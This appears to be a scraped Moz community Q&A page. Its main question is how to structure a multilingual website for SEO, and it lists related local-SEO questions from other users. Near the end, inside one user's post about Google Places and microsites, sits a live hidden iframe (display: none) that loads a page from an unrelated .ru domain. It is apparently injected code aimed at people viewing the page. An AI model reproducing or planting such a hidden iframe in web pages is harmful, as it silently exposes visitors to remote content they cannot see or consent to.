Multilanguage Website
-
Hi, I am responsible for managing a multilingual website.
I have two questions regarding SEO, based on the structure of the website.
Question 1. At the moment we have one website for UK English and one for US English
.com/en-gb/
.com/en-us/
Which would be the pros and cons of merging the two website in one?
Question 2. For the German website they moved it under .de dominion, I think it would be better from an SEO perspective to have it as the Italian and French, under .com/de
Which would be the pros and cons of migrating German website under .com/de?
Thanks
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
How to be above the product maker website
Hello, I am the exclusive reseller of a product in Switzerland. However, when I type the name of the product the maker of the product appears 1 st on google with its website instead of my website that ends in .ch ? I appear nowhere when I type the product name and my website has been online for more than 6 months. How can I make sure I appear 1 st above the maker of that product ? The only place I appear is in the right side with the adresse and phone number but I would like to appear in the search results (blue links). Thank you,
Local Website Optimization | | seoanalytics1 -
My website is ranking well in all other IP except US ip and that too only one particular keyword could you guys help me ?
My website is Ranking well in all other keywords in all other countries Except US IP and only one particular keyword. Example :- One keyword ABC is ranking well in UK UAE and also on first position but in US IP not even in top 100 results or not even top 300 results
Local Website Optimization | | Hyperlinkinfosystem0 -
Best Practices: Different Phone Numbers on the Same Website
Since 2006 www.nyc-officespace-leader.com has promoted my commercial real estate brokerage business. I have been the sole broker listed on the site. As a result, the same phone number has appeared consistently throughout the site. Now I will be adding a colleague to the site (in addition to me) and I am struggling with how to best display my colleague's phone number. The 2nd broker will be adding property listings and blog posts. It was agreed that my phone number would be replaced by my colleagues phone number on his listings and blog posts. Pages that existed before would remain with my phone number. The idea being that leads generated by the 2nd broker's new content get directed to him rather than me. My concern is that having a new phone number listed will introduce an inconsistent phone number and harm our local SEO. I have read that it is absolutely critical that NAP (name, address, phone number) must be 100% consistent otherwise it can cause harm search engine ranking. What are best practices for displaying different phone numbers for different personnel on the same website without harming local SEO efforts? This situation is certainly common, so I would think there must be some work arounds. I have seen "Contact" icons that when clicked show phone numbers. Is there any standard solution for this issue that keeps NAP data consistent? Also, what if we keep the same number in the header but use different numbers in other locations? Is the header a location where we should be extra careful to display the same phone number? Thanks,
Local Website Optimization | | Kingalan1
Alan Rosinsky
Metro Manhattan Office Space, Inc. An example of inconsistent listing pages are: -http://www.nyc-officespace-leader.com/listings/386-w-38th-street-office-lease-2370sf
(Broker "#2) -http://www.nyc-officespace-leader.com/listings/329-545-eighth-ave-office-lease-525sf
(myself) An example of inconsistent blog pages are: -http://www.nyc-officespace-leader.com/blog/the-tech-explosion-impact-on-chelsea-2
(Broker "#2) -http://www.nyc-officespace-leader.com/blog/office-space-build-out-cost
(myself)0 -
How do I set up 2 businesses that work together but are ran seperately with two separate websites but similar content?
How do I set up these sites so that they will not be negatively affecting their SEO efforts? I have 2 businesses with the same owner. Business A manufactures nurse call systems and Business B installs them. They are run separately with two websites. The content is very similar because the business that installs them describes the different products on their website. These are the two sites: intercallsystems.com and nursecallny.com , My thought was on nursecallny.com when you click on the nav link "Nurse Call Systems" you would be directed to the intercell website. Would this be the best method? Thank you for your help!
Local Website Optimization | | renalynd270 -
Need Help: Trouble With Website and Analytics
Hey all, I have a client who I have been having the WORST time getting traffic and ranked for relevant keywords. I've tried so many things and have yet to see much progress after about 9 months. Site is mgmcdallas.com. I realized something REALLYY weird with this site a couple weeks ago. The business has a Dallas, TX address and really only services the Dallas/Fort Worth metro area. They recently started getting some of referral traffic from yelp.com/biz_redir. Weirdly, they've also been getting more sales calls and more salespeople filling out their contact form. Take January for example, they had 164 sessions and 119 of those were from this yelp referral. They DON'T advertise with Yelp, or get traffic from Yelp anywhere in Texas. You can see from below screenshot that they are all coming from California. analytics I've had our <acronym title="Search Engine Optimization">SEO</acronym> and developer look into and we can't figure out what's happening. Any thoughts? iubnZdu
Local Website Optimization | | BWrightTLM0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Website Migration - remove unnecessary sub-folder?
Rebuilding a site that currently has good rankings. The original site was build in Joomla. I am doing the rebuild on WordPress. The old site is at the domain www.savannah-dentist.com, but clicking on any link generates a url with a subfolder; i.e. the website is at www.savannah-dentist.com, click on the logo and you will go to www.savannah-dentist.com/rosenthal/, the "meet the doctors" link goes to "www.savannah-dentist.com/rosenthal/meet-the-doctors" When I rebuild the site, do I have to retain that url structure? If I get rid of the folder and make everything simply like www.savannah-dentist.com/meet-the-doctors, will I be jeopardizing our rankings? Thanks! -Adam
Local Website Optimization | | aj6130 -
Does building multiple websites hurt you seo wise? Good or bad strategy?
HI,rategy. So I spoke to a local Colorado seo company and they suggested to find whatever keywords is the most searched under my GWT's and put .com behind it and build other sites for other keywords. I was curious about this type of strategy. Does this work? This seo guy said I could just get a DBA bank account and such for each domain name etc. I am not wanting to mislead anyone, but I am curious if for the sake of promoting other services, if creating other websites with partial and EMD's are worthwhile? Another issue I worry about is if I put my companies phone number, then next thing you know there is 3 or 4 sites that use that same phone number. To me this does not build trust with Google. But being I am learning, maybe this is a common strategy, or doomed from the start. Just curious what you think. Would you build other sites to try and rank for other services? Or keep one sites and maximize it? Thank you for your thoughts. I just do not want to pay $3000 per site if it will hurt not help.
Local Website Optimization | | Berner0